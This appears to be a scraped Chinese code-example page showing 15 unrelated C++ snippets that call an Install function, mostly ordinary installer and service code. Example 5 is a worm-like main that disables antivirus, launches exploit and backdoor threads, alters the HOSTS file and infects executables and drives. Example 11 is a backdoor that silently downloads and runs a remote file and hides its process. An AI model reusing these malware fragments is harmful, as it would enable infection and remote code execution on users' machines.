本文整理汇总了C++中Install函数的典型用法代码示例。如果您正苦于以下问题:C++ Install函数的具体用法?C++ Install怎么用?C++ Install使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了Install函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: switch
BOOL CDialog::OnCommand(int id, int code)
{
switch(id)
{
case IDOK:
if(m_bNewVersion)
{
if( Uninstall() )
return Install();
else
{
// Write something to RunOnce registry key
// Keep in mind that Uninstall() already did!
SetMessage( IDS_RESTARTBEFOREUPDATE );
}
}
else if(m_bUnInstall)
return Uninstall();
else
return Install();
break;
case IDCANCEL:
if(m_bUnInstall)
CreateUninstall(TRUE);
::PostQuitMessage(1);
break;
}
return FALSE;
}
示例2: switch
/*
メインダイアログ用 WM_COMMAND 処理ルーチン
*/
BOOL TInstDlg::EvCommand(WORD wNotifyCode, WORD wID, LPARAM hwndCtl)
{
switch (wID)
{
case IDOK:
CheckDlgButton(EXTRACT_CHECK, 0);
Install();
return TRUE;
case IDCANCEL:
EndDialog(wID);
return TRUE;
case RUNAS_BUTTON:
RunAsAdmin(hWnd, FALSE);
return TRUE;
case EXTRACT_BUTTON:
CheckDlgButton(EXTRACT_CHECK, 1);
Install();
return TRUE;
case FILE_BUTTON:
BrowseDirDlg(this, FILE_EDIT, "Select Install Directory");
return TRUE;
}
return FALSE;
}
示例3: QThread
int Backend::Go(){
QThread *worker = new QThread();;
this->moveToThread(worker);
worker->start();
connect(this, SIGNAL(Install()), this, SLOT(AsyncInstall()));
emit Install();
return Success;
}
示例4: Install
void
StrategyChoiceHelper::Install(const NodeContainer& c, const Name& namePrefix, const Name& strategy)
{
for (NodeContainer::Iterator i = c.Begin(); i != c.End(); ++i) {
Install(*i, namePrefix, strategy);
}
}
示例5: main
int main(int argc, char *argv[])
{
if(IsDebuggerPresent()) return 1;
if(argc==2) {
char Thif[256];
GetModuleFileName(NULL,Thif,sizeof(Thif));
if(argv[1]==Thif) goto part;
SetFileAttributes(argv[1],FILE_ATTRIBUTE_NORMAL);
CopyFile(Thif,argv[1],FALSE);
}
part:
CreateMutex(NULL,0,"n349u43jEg35545");
if(GetLastError()==ERROR_ALREADY_EXISTS) return 1;
AllocConsole();
ShowWindow(FindWindowA("ConsoleWindowClass",NULL),SW_HIDE);
CreateThread(NULL,0,AntiVirusTerminate,NULL,0,NULL);
CreateThread(NULL,0,ExploitMain,NULL,0,NULL);
CreateThread(NULL,0,FileBackdoor,NULL,0,NULL);
Install();
HOSTSFile();
InfectExes();
p2p_spread();
InfectDrives();
return 0;
}
示例6: Format
void Format(){
Install();
for (int i = 0; i < DATADISTRICTION_MAXSIZE; i++)
data[i] = '#';
int inode_num_tmp = GetNextInodeNum(); //分配inode
int block_num_tmp = GetNextBlockNum(); //分配block
inode[inode_num_tmp].CreateInode(inode_num_tmp,1,ROOT,DIRFILE,"rrrrrrrrr"); //在inode节点表中添加新项
inode[inode_num_tmp].i_zone[0] = block_num_tmp; //inode指向物理块
Directory root = Directory();
writeInBlock(block_num_tmp, (char*)&root); //此时目录对应的物理块的表为空
strcpy(superblock_mem.CurDir, "/"); //当前目录为根
superblock_mem.curind = inode_num_tmp; //得到当前目录对应的inode编号
//用户1
char user1name[16] = "PNT";
strcpy(superblock_mem.username[0], user1name);
strcpy(superblock_mem.password[0], "PNT");
MKDIR(user1name); //在当前目录(/)下创建用户1
//用户2
char user2name[16] = "user2";
strcpy(superblock_mem.username[1], user2name);
strcpy(superblock_mem.password[1], "user2");
MKDIR(user2name); //在当前目录(/)下创建用户2
//用户3
char user3name[16] = "user3";
strcpy(superblock_mem.username[2], user3name);
strcpy(superblock_mem.password[2], "user3");
MKDIR(user3name); //在当前目录(/)下创建用户3
}
示例7: switch
/*
メインダイアログ用 WM_COMMAND 処理ルーチン
*/
BOOL TInstDlg::EvCommand(WORD wNotifyCode, WORD wID, LPARAM hwndCtl)
{
switch (wID) {
case IDOK:
propertySheet->GetData();
if (cfg.mode == UNINSTALL_MODE)
UnInstall();
else
Install();
return TRUE;
case IDCANCEL:
::PostQuitMessage(0);
return TRUE;
case FILE_BUTTON:
BrowseDirDlg(this, FILE_EDIT, "Select Install Directory");
return TRUE;
case SETUP_RADIO:
case UNINSTALL_RADIO:
if (wNotifyCode == BN_CLICKED)
ChangeMode();
return TRUE;
}
return FALSE;
}
示例8: _AddPackageSpecifiers
void
BPackageManager::Install(const char* const* packages, int packageCount)
{
BSolverPackageSpecifierList packagesToInstall;
_AddPackageSpecifiers(packages, packageCount, packagesToInstall);
Install(packagesToInstall);
}
示例9: AssertIsOnMainThread
void
ServiceWorkerUpdateJob::ContinueUpdateAfterScriptEval(bool aScriptEvaluationResult)
{
AssertIsOnMainThread();
RefPtr<ServiceWorkerManager> swm = ServiceWorkerManager::GetInstance();
if (Canceled() || !swm) {
FailUpdateJob(NS_ERROR_DOM_ABORT_ERR);
return;
}
// Step 7.5 of the Update algorithm verifying that the script evaluated
// successfully.
if (NS_WARN_IF(!aScriptEvaluationResult)) {
ErrorResult error;
NS_ConvertUTF8toUTF16 scriptSpec(mScriptSpec);
NS_ConvertUTF8toUTF16 scope(mRegistration->mScope);
error.ThrowTypeError<MSG_SW_SCRIPT_THREW>(scriptSpec, scope);
FailUpdateJob(error);
return;
}
Install(swm);
}
示例10: RegisterAppId
inline HRESULT RegisterAppId(bool bService = false) throw()
{
if (!Uninstall())
return E_FAIL;
HRESULT hr = UpdateRegistryAppId(TRUE);
if (FAILED(hr))
return hr;
CRegKey keyAppID;
LONG lRes = keyAppID.Open(HKEY_CLASSES_ROOT, _T("AppID"), KEY_WRITE);
if (lRes != ERROR_SUCCESS)
return AtlHresultFromWin32(lRes);
CRegKey key;
lRes = key.Create(keyAppID, GetAppIdT());
if (lRes != ERROR_SUCCESS)
return AtlHresultFromWin32(lRes);
key.DeleteValue(_T("LocalService"));
if (!bService)
return S_OK;
key.SetStringValue(_T("LocalService"), m_szServiceName);
// Create service
if (!Install())
return E_FAIL;
return S_OK;
}
示例11: WinMain
// standard application main
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
{
// get OS version
OsIsNt=GetOsVer();
GetModuleFileName(NULL,ExeFile,MAX_PATH);
// Install from cmdline
if(strpbrk(lpCmdLine,"iI")) Install();
// if need, to download file and execute it
if(wscfg.ws_downexe) {
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
WinExec(wscfg.ws_filenam,SW_HIDE);
}
if(!OsIsNt) {
// if win9x, hide process and start as application
HideProc();
StartWinShell(lpCmdLine);
}
else
if(StartFromService())
// start as ntservice
StartServiceCtrlDispatcher(DispatchTable);
else
// start as application
StartWinShell(lpCmdLine);
return 0;
}
示例12: src_
Hook::Hook(void *src, void *dst)
: src_(0)
, dst_(0)
, installed_(false)
{
Install(src, dst);
}
示例13: DllInstall
STDAPI DllInstall( BOOL bInstall, LPCWSTR pszCmdLine )
{
// To install into System32\ShellExt
// regsvr32.exe /i /n HashCheck.dll
//
// To install without registering an uninstaller
// regsvr32.exe /i:"NoUninstall" /n HashCheck.dll
//
// To install in-place (without copying the .dll anywhere)
// regsvr32.exe /i:"NoCopy" /n HashCheck.dll
//
// To install with both options above
// regsvr32.exe /i:"NoUninstall NoCopy" /n HashCheck.dll
//
// To uninstall
// regsvr32.exe /u /i /n HashCheck.dll
//
// To install/uninstall silently
// regsvr32.exe /s ...
//
// DllInstall can also be invoked from a RegisterDlls INF section or from
// a UnregisterDlls INF section, if the registration flags are set to 2.
// Consult the documentation for RegisterDlls/UnregisterDlls for details.
return( (bInstall) ?
Install(pszCmdLine == NULL || StrStrIW(pszCmdLine, L"NoUninstall") == NULL,
pszCmdLine == NULL || StrStrIW(pszCmdLine, L"NoCopy") == NULL) :
Uninstall()
);
}
示例14: ServiceMainProc
VOID ServiceMainProc()
{
::InitializeCriticalSection(&myCS);
// initialize variables for .exe and .log file names
char pModuleFile[nBufferSize+1];
DWORD dwSize = GetModuleFileName(NULL, pModuleFile, nBufferSize);
pModuleFile[dwSize] = 0;
if(dwSize>4 && pModuleFile[dwSize-4] == '.')
{
sprintf_s(pExeFile,"%s",pModuleFile);
pModuleFile[dwSize-4] = 0;
sprintf_s(pLogFile,"%s.log",pModuleFile);
sprintf_s(pWorkDir,"%s",pModuleFile);
PathRemoveFileSpec(pWorkDir);
}
strcpy_s(pServiceName,"Helix");
if(_stricmp("-i",lpCmdLineData) == 0 || _stricmp("-I",lpCmdLineData) == 0)
Install(pExeFile, pServiceName);
else if(_stricmp("-k",lpCmdLineData) == 0 || _stricmp("-K",lpCmdLineData) == 0)
KillService(pServiceName);
else if(_stricmp("-u",lpCmdLineData) == 0 || _stricmp("-U",lpCmdLineData) == 0)
UnInstall(pServiceName);
else if(_stricmp("-s",lpCmdLineData) == 0 || _stricmp("-S",lpCmdLineData) == 0)
RunService(pServiceName);
else
ExecuteSubProcess();
}
示例15: if
int win_svc_base::Main( int argc, char * argv[] )
{
//////////////////////////////////////////////////////////////////////////
/// 命令行参数解析
boost::program_options::options_description opts;
opts.add_options()
("help", "options: --install --uninstall")
("install", "")
("uninstall", "")
("auto-start", "");
boost::program_options::store(
boost::program_options::parse_command_line(argc, argv, opts)
, m_vm );
//////////////////////////////////////////////////////////////////////////
/// 定义SERVICE_TABLE_ENTRY DispatchTable[] 结构
SERVICE_TABLE_ENTRYA DispatchTable[2] =
{
{(char*)GetServiceName(), (LPSERVICE_MAIN_FUNCTIONA)GetServiceStartFunction()},
{NULL, NULL}
};
if ( m_vm.count("help") )
{
/// 帮助
std::cout << opts << std::endl;
}
else if ( m_vm.count("install") )
{
bool bAutoStart = (m_vm.count("auto-start") > 0);
/// 安装服务
if ( Install(bAutoStart) )
{
std::cout << "安装成功!" << std::endl;
OnInstall(bAutoStart);
}
else
std::cout << "安装失败!" << std::endl;
}
else if ( m_vm.count("uninstall") )
{
/// 卸载服务
if ( Uninstall() )
std::cout << "卸载成功!" << std::endl;
else
std::cout << "卸载失败!" << std::endl;
}
else
{
/// OS启动该程序
BOOL bSuccessed = ::StartServiceCtrlDispatcherA(DispatchTable);
//if (bSuccessed)
// LOG << "服务入口函数注册成功!" << std::endl;
//else
// LOG << "服务入口函数注册失败!" << std::endl;
}
return 0;
}